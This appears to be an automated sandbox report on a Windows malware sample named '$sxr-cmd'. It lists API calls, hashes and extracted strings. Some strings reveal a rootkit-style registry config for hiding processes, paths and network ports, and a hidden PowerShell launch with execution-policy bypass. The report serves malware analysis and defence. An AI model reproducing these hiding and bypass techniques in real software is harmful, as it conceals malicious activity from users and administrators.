Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 873b3c2c44ed97895201fd97bd1a747eda1d053ac7f6b8982f2d6aae6b07be06
Instruction ID: c24720d01e7ccf001ebe1b7b98908ecb566fd520f4cb0e24b313a0522e1c3b57
Opcode Fuzzy Hash: 873b3c2c44ed97895201fd97bd1a747eda1d053ac7f6b8982f2d6aae6b07be06
Instruction Fuzzy Hash: 67C1F822A09F82C6EBA0EB10E4D0AB9A7A4FF59764F844231DA1D67790DF3CD55CC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E9B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: a78558bd1f81ee6e1dd7d50edf65511c41a2aa4325df58da4db0eec9b763d0d8
Instruction ID: 1fe46a452bf949f0126b665b613a89618f3171e7fabf0ceee0930fa71a10a1e6
Opcode Fuzzy Hash: a78558bd1f81ee6e1dd7d50edf65511c41a2aa4325df58da4db0eec9b763d0d8
Instruction Fuzzy Hash: 53A1D422A18E5285EB90FB25A481679E6E4FF8DBA0F904135DD5E73790DE3DE41DC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380FB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71380FBC1

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380FC58
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF71380FD01

Strings

%5lu, xrefs: 00007FF71380FCB0

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: 215e5527bcdf282b1a54cfe133cc73c2e3407b30518972e92e8a7a659d22b1ff
Instruction ID: 8dfa88578c8f1087f45efd3ad742e541fd2f2c890e7c5870370f715ec2d258e3
Opcode Fuzzy Hash: 215e5527bcdf282b1a54cfe133cc73c2e3407b30518972e92e8a7a659d22b1ff
Instruction Fuzzy Hash: 2C419122708AC195EBA1EF51E8416EAB7A1FB88794F848131EE4D1BB48DF7DD14DC710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ED250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF7137ED292

Strings

GeToken: (%x) '%s', xrefs: 00007FF7137FD0C8

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp
String ID: GeToken: (%x) '%s'
API String ID: 2081463915-1994581435
Opcode ID: db21d3f5d7875ee4092bce65a18f63d4c03a4190767033ce4b9798d546bcb390
Instruction ID: e0945f51c812de7221d01274eb9a9d5718088b23d88de5c00ac84a20a1b01bfe
Opcode Fuzzy Hash: db21d3f5d7875ee4092bce65a18f63d4c03a4190767033ce4b9798d546bcb390
Instruction Fuzzy Hash: FC719D20E08E4285FBE4BB69A484275A6A0AF18774FD40A35D51E73AA0DF7DE49DC330

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A58B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002155A58B100

Strings

*?, xrefs: 000002155A58B127
HIJKLMNOPQRSTUVWXYZ, xrefs: 000002155A58B483

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: ab99c7aa79d091f7bb2c9d29c1e7f1bb1a26066337a0ec5e19152db8652b8d28
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: A551E373711F66E5EF14DFA29804ADD27A6F7A8BD8FA54521FE0907B85DB38C04A8300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F88C0 Relevance: 4.6, APIs: 3, Instructions: 68nativethreadCOMMON

Download Yara Rule

APIs

NtOpenThreadToken.NTDLL ref: 00007FF7137F88E7
NtOpenProcessToken.NTDLL ref: 00007FF7137F8907
NtClose.NTDLL ref: 00007FF7137F896C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: OpenToken$CloseProcessThread
String ID:
API String ID: 2991381754-0
Opcode ID: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
Instruction ID: baf421741887cb602ab520eceffc477206fb03db39fda087e98276936b2352fd
Opcode Fuzzy Hash: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
Instruction Fuzzy Hash: 5A21A232B08A529BE780AB50D48027DFBA4FB897B0F904135DB5963694DF7DD84CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F89E4 Relevance: 3.0, APIs: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF7137F8A20
NtQueryInformationToken.NTDLL ref: 00007FF7138052BE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
Instruction ID: 9473a494d003abaff5f5589c39545ba2781c531a5851b3be8745c0f42e19038e
Opcode Fuzzy Hash: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
Instruction Fuzzy Hash: 6B11A573608B91DBEB519F01E4803A9FBA4FB887A5F444131DB48127A4DB7DD58CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F8114 Relevance: 3.0, APIs: 2, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL ref: 00007FF7137F8151
GetFileInformationByHandleEx.API-MS-WIN-CORE-FILE-L2-1-0 ref: 00007FF71380037C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: FileInformation$HandleQueryVolume
String ID:
API String ID: 2149833895-0
Opcode ID: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction ID: 90b43e30f45f67cfb0ccae18a785e7f4e8f65a99242cfa91585715d1a2d6b2af
Opcode Fuzzy Hash: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction Fuzzy Hash: 53118631608BC1DAE7A0AB50F4403AEFBA4FB88B54F845235DA9D52A54DFBCD44CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F898C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF7137F89B6

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction ID: 2a760b4f0b5d065fa4a35c2843fac78cf2c3ccca4ffc10a9fe846e25a46d5cb9
Opcode Fuzzy Hash: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction Fuzzy Hash: A5F030B3704B91CBD7009F64E58449CBB78F748B94795853ACB2803704DB75D9A8CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002155A5B165B
HeapAlloc.KERNEL32 ref: 000002155A5B166A

Part of subcall function 000002155A5B1274: GetProcessHeap.KERNEL32 ref: 000002155A5B127A
Part of subcall function 000002155A5B1274: HeapAlloc.KERNEL32 ref: 000002155A5B1289
Part of subcall function 000002155A5B1274: GetProcessHeap.KERNEL32 ref: 000002155A5B12A3
Part of subcall function 000002155A5B1274: HeapAlloc.KERNEL32 ref: 000002155A5B12B4

RegOpenKeyExW.ADVAPI32 ref: 000002155A5B16DA
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B1707
RegCloseKey.ADVAPI32 ref: 000002155A5B1721
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B1741
RegCloseKey.ADVAPI32 ref: 000002155A5B175C
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B177C
RegCloseKey.ADVAPI32 ref: 000002155A5B1797
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B17B7
RegCloseKey.ADVAPI32 ref: 000002155A5B17D2
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B17F2
RegCloseKey.ADVAPI32 ref: 000002155A5B180D
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B182D
RegCloseKey.ADVAPI32 ref: 000002155A5B1848
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B1868
RegCloseKey.ADVAPI32 ref: 000002155A5B1883
RegOpenKeyExW.ADVAPI32 ref: 000002155A5B18A3
RegCloseKey.ADVAPI32 ref: 000002155A5B18BE
RegCloseKey.ADVAPI32 ref: 000002155A5B18C8

Part of subcall function 000002155A5B12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000002155A5B1326
Part of subcall function 000002155A5B12C8: GetProcessHeap.KERNEL32 ref: 000002155A5B1334
Part of subcall function 000002155A5B12C8: HeapAlloc.KERNEL32 ref: 000002155A5B1345
Part of subcall function 000002155A5B12C8: RegEnumValueW.ADVAPI32 ref: 000002155A5B13A1
Part of subcall function 000002155A5B12C8: GetProcessHeap.KERNEL32 ref: 000002155A5B13E9
Part of subcall function 000002155A5B12C8: HeapAlloc.KERNEL32 ref: 000002155A5B13F7
Part of subcall function 000002155A5B12C8: GetProcessHeap.KERNEL32 ref: 000002155A5B141B
Part of subcall function 000002155A5B12C8: HeapFree.KERNEL32 ref: 000002155A5B1429
Part of subcall function 000002155A5B12C8: lstrlenW.KERNEL32 ref: 000002155A5B1432
Part of subcall function 000002155A5B12C8: GetProcessHeap.KERNEL32 ref: 000002155A5B1440
Part of subcall function 000002155A5B12C8: HeapAlloc.KERNEL32 ref: 000002155A5B144E

Strings

paths, xrefs: 000002155A5B17B0
tcp_remote, xrefs: 000002155A5B1861
startup, xrefs: 000002155A5B16FD
service_names, xrefs: 000002155A5B17EB
pid, xrefs: 000002155A5B173A
udp, xrefs: 000002155A5B189C
tcp_local, xrefs: 000002155A5B1826
process_names, xrefs: 000002155A5B1775
SOFTWARE\$sxrconfig, xrefs: 000002155A5B16BA

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: ba5bd99f7436954d1d6ff976976e3d490d8374ee78defa82bd1923e24d38955d
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: 29713C36311E28E6EF509F22E858AD967B6F7E5B9DF801151FA4E53628EF38C548C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EF8C0 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 380COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF7137EF52A,00000000,00000000,?,00000000,?,00007FF7137EE626,?,?,00000000,00007FF7137F1F69), ref: 00007FF7137EF8DE
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137EF8FB
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137EF951
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137EF96B
wcschr.MSVCRT ref: 00007FF7137EFA8E
_get_osfhandle.MSVCRT ref: 00007FF7137EFB14
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137EFB2D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137EFBEA
_get_osfhandle.MSVCRT ref: 00007FF7137EF996

Part of subcall function 00007FF7137F0010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF71380849D,?,?,?,00007FF71380F0C7), ref: 00007FF7137F0045
Part of subcall function 00007FF7137F0010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF71380F0C7,?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF7137F0071
Part of subcall function 00007FF7137F0010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F0092
Part of subcall function 00007FF7137F0010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF7137F00A7
Part of subcall function 00007FF7137F0010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F0181

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137FD401
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137FD41B
longjmp.MSVCRT(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137FD435
longjmp.MSVCRT(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137FD480

Strings

=,;, xrefs: 00007FF7137EF8C8
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO, xrefs: 00007FF7137EF90E

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
String ID: =,;$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO
API String ID: 3964947564-2862168527
Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction ID: 4a343bee82522c99e49f2328e67e4583e70c7ed1bca9ff88c454049a943d521e
Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction Fuzzy Hash: 02028E21A09E02CAEBD4BB21A884578E6A5FF49B74FD14235D91E77694DF3EA41CC330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F02A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF7137F02C2
_wcsicmp.MSVCRT ref: 00007FF7137F02E4
_wcsicmp.MSVCRT ref: 00007FF7137F0306
_wcsicmp.MSVCRT ref: 00007FF7137F0328
_wcsicmp.MSVCRT ref: 00007FF7137F034A
_wcsicmp.MSVCRT ref: 00007FF7137F0368
_wcsicmp.MSVCRT ref: 00007FF7137F6CF2
_wcsicmp.MSVCRT ref: 00007FF7137F6D61
_wcsicmp.MSVCRT ref: 00007FF7137F6D7F
_wcsicmp.MSVCRT ref: 00007FF7137F6D9D
_wcsicmp.MSVCRT ref: 00007FF7137F6DBB
iswspace.MSVCRT ref: 00007FF7137F6E01
wcschr.MSVCRT ref: 00007FF7137F6E2C

Strings

REM/?, xrefs: 00007FF7137F0361
IF/?, xrefs: 00007FF7137F0321
;, xrefs: 00007FF7137F03FD
FOR, xrefs: 00007FF7137F02BB
=,;, xrefs: 00007FF7137F6E1C
REM, xrefs: 00007FF7137F0343
FOR/?, xrefs: 00007FF7137F02DD, 00007FF7137F6CE9

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$iswspacewcschr
String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 840959033-3627297882
Opcode ID: 4657ea93f0aed74f3e4bb88c835e56408298cbf31f5b675b740e608a2e000999
Instruction ID: 282280849e571dcb5d3ed72e2623ded31a06d802f72c434b42fcb91420c7a3c2
Opcode Fuzzy Hash: 4657ea93f0aed74f3e4bb88c835e56408298cbf31f5b675b740e608a2e000999
Instruction Fuzzy Hash: 49D17C25A08E4386FBD0BB25A8852B9E6A8BF48B64FC44035D95E77395DE3DE41D8330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F081C Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F084E
_wcsicmp.MSVCRT ref: 00007FF7137F088E
_wcsicmp.MSVCRT ref: 00007FF7137F08AC
_wcsicmp.MSVCRT ref: 00007FF7137F08CA
_wcsicmp.MSVCRT ref: 00007FF7137F08E8
_wcsicmp.MSVCRT ref: 00007FF7137F0906
_wcsicmp.MSVCRT ref: 00007FF7137F0924
_wcsicmp.MSVCRT ref: 00007FF7137F093E
_wcsicmp.MSVCRT ref: 00007FF7137F095C

Strings

CMDCMDLINE, xrefs: 00007FF7137F08DE
RANDOM, xrefs: 00007FF7137F0934
CMDEXTVERSION, xrefs: 00007FF7137F08C0
ERRORLEVEL, xrefs: 00007FF7137F08A2
DATE, xrefs: 00007FF7137F08FC
TIME, xrefs: 00007FF7137F091A
HIGHESTNUMANODENUMBER, xrefs: 00007FF7137F0952
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF7137F0835

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
